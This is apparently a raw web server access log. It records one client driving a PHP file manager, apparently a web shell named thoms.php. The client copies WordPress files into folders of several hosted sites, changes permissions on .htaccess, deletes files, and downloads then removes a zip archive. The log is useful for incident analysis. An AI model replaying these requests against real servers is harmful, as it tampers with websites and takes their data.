45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13299 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18948 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18956 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11978 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 18956 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 18956 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 18955 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:48 -0400] "GET /thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 18956 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12581 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17370 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13269 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17370 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14084 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13974 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12037 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17477 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28737 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12036 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13266 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13407 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17477 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12588 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14131 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13622 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?del=txets.php&p=upgrade HTTP/1.1" 200 13835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?chmod=.htaccess&p=upgrade HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
